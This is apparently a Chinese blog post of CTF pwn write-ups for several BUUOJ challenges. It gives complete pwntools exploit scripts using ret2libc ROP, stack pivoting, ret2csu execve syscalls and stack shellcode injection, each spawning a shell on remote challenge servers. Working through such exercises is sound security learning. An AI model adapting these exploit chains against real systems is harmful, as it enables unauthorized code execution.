BUU-pwn(四)

[HarekazeCTF2019]baby_rop2

64位程序,ret2libc ROP即可

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')

r = remote('node4.buuoj.cn',29388)
#r = process('./babyrop2')
elf = ELF('./babyrop2')
libc = ELF('./libc.so.6')

rdi = 0x400733
rsi = 0x400731
format_string = 0x400770 # %s
read_got = elf.got['read']
print_got = elf.got['printf']
printf_plt = elf.plt['printf']
main = elf.sym['main']

r.recvuntil("What's your name? ")
payload = b'a'*(0x20+8)+p64(rdi)+p64(format_string)+p64(rsi)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main)
#payload = b'a'*(0x20+8)+p64(rdi)+p64(read_got)+p64(printf_plt)+p64(main)
r.sendline(payload)

read_addr=u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
log.info("read_addr: "+hex(read_addr))

offset = read_addr - libc.symbols['read']
system = offset + libc.symbols['system']
bin_sh = offset + libc.search(b'/bin/sh').__next__()

payload2=b'a'*(0x20+8)+p64(rdi)+p64(bin_sh)+p64(system)+p64(main)

r.recvuntil("What's your name? ")
r.sendline(payload2)

r.interactive()

ciscn_2019_es_2(栈迁移)

好文共赏,读完必会:栈迁移原理介绍与应用

首先main函数存在溢出点,无法写shellcode到bss段,所以能利用的点,只有把system等写到缓冲区s的地址,然后利用栈迁移控制eip的值,利用下面再分析

存在system函数


既然要写到 s 的地址,目标机器栈上地址要被泄露出来,然后根据本地调试出来的偏移,去准确的锁定目标机器的 s 地址,通过printf可以泄露目前栈上ebp的值(即main函数的基地址),现在本地调试偏移

一个断点下到printf,查看stack情况,输入的aaaa到了 0xffffd160,main函数的ebp在0xffffd198 二者相差了0x38


寻找 leave ; ret指令

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')

r = remote('node4.buuoj.cn',26776)

# leave: mov esp,ebp;
#        pop ebp;
# ret: pop eip;

leave_ret = 0x080484b8
system_addr = 0x08048400

# 泄漏 ebp
payload = b'a'*0x27+b'b'
r.send(payload)
r.recvuntil('b')
ebp_addr = u32(r.recv(4))
log.info("ebp_addr =>"+hex(ebp_addr))

payload2 = b'aaaa'
payload2+= p32(system_addr)
payload2+= p32(0)
payload2+= p32(ebp_addr - 0x28) # system need a address
payload2+= b'/bin/sh\x00'
payload2 = payload2.ljust(0x28,b'a')

payload2+= p32(ebp_addr - 0x38) # pop ebp => change ebp to evil ebp
payload2+= p32(leave_ret) # ret -> leave_ret;change esp

r.sendline(payload2)
r.interactive()

babyheap_0ctf_2017(堆)

好家伙,直接干到堆了,先去学习一下

jarvisoj_tell_me_something

64位栈溢出,这题有个坑点,所以以后还是多看一手汇编代码


直接sub rsp,88h,将栈顶指针减了88h给v4变量,然后结束里面的函数栈帧后直接add后就是ret指令,没有rbp的事情,所以payload直接padding加ret地址就行了

exp

from pwn import *
context(os='linux', arch='i386', log_level='debug')

r = remote('node4.buuoj.cn',28031)

payload = b'a'*0x88+p64(0x400620)
r.sendlineafter('Input your message:\n',payload)
r.interactive()

ciscn_2019_s_3

ret2csu

64位,vuln函数存在系统调用

在这里插入图片描述
32位:

传参方式:首先将系统调用号 传入 eax,然后将参数 从左到右 依次存入 ebx,ecx,edx寄存器中,返回值存在eax寄存器

调用号:sys_read 的调用号 为 3 ,sys_write 的调用号 为 4

调用方式: 使用 int 80h 中断进行系统调用

64位:

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器

调用号:sys_read 的调用号 为 0 ,sys_write 的调用号 为 1

stub_execve 的调用号 为 59

stub_rt_sigreturn 的调用号 为 15

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']


r = remote("node4.buuoj.cn",28398)
#r = process('./level3')
#r = gdb.debug("./level3","b main")


elf = ELF('./ciscn_s_3')
main = elf.symbols['main']
syscall = 0x0400517
pop_rdi = 0x04005a3
pop6_ret = 0x040059a
rdx_rsi_call = 0x0400580
int59 = 0x04004E2
vuln = 0x04004ED

payload = b'/bin/sh\x00'*2+p64(vuln)
r.sendline(payload)
r.recv(0x20)
bin_sh = u64(r.recv(8))-0x118
log.info("bin_sh -> "+hex(bin_sh))

payload = b'/bin/sh\x00'*2+p64(pop6_ret)+p64(0)*2+p64(bin_sh+0x50)+p64(0)*3+p64(rdx_rsi_call)
payload += p64(int59)+p64(pop_rdi)+p64(bin_sh)+p64(syscall)
r.sendline(payload)

r.interactive()

jarvisoj_level3

ret2libc,exp

from pwn import *
from LibcSearcher import *

context(os='linux', arch='amd64', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']


r = remote("node4.buuoj.cn",26164)
#r = process('./level3')
#r = gdb.debug("./level3","b main")


elf = ELF('./level3')
#lib = ELF('./libc-2.23.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x0804844B

payload = b'a'*0x88+b'b'*0x4
payload += p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendlineafter('Input:\n',payload)
write_addr = u32(r.recv(4))
log.success('write_addr: ' + str(hex(write_addr)))


lib = LibcSearcher('write',write_addr)
offset = write_addr - lib.dump('write')
sys_addr = lib.dump('system') + offset
#binsh_addr = lib.search(b'/bin/sh').__next__() + offset
binsh_addr = lib.dump('str_bin_sh') + offset

log.success('sys_addr: '+ str(hex(sys_addr)))
log.success('bin/sh_addr: ' + str(hex(binsh_addr)))

payload2 = b'a'*0x88+b'b'*0x4
payload2 += p32(sys_addr) + b'a'*0x4 + p32(binsh_addr)

r.sendline(payload2)
r.interactive()

ez_pz_hackover_2016

栈可执行

程序逻辑如下


写shellcode到栈中,利用溢出点,ret到shellcode的地址。但是这道题,栈中覆盖到ebp的距离不是0x32,26个字节就已经覆盖ebp了。

payload = b'crashme\x00'+b'a'*18 + b'b'*4   # 8+18=26 覆盖ebp,4覆盖ret


现在已经能控制ret的地址了,再往栈上写shellcode,本地调试出偏移,利用泄露的s的地址减去偏移就是shellcode的地址,再ret到这里完成shell!

payload = b'crashme\x00'+b'a'*18 + b'b'*4 + b'test' 

相差0x1c偏移

from pwn import *
from LibcSearcher import *

context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']

r = remote("node4.buuoj.cn",28657)
#r = process('./ez_pz_hackover_2016')
#r = gdb.debug("./ez_pz_hackover_2016","b * 0x08048602")

r.recvuntil("crash: ")
s_addr=int(r.recv(10),16)
shellcode = asm(shellcraft.sh())
payload = b"crashme\x00" + b"a"*18 + p32(s_addr-0x1c) + shellcode
r.sendlineafter('> ',payload)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值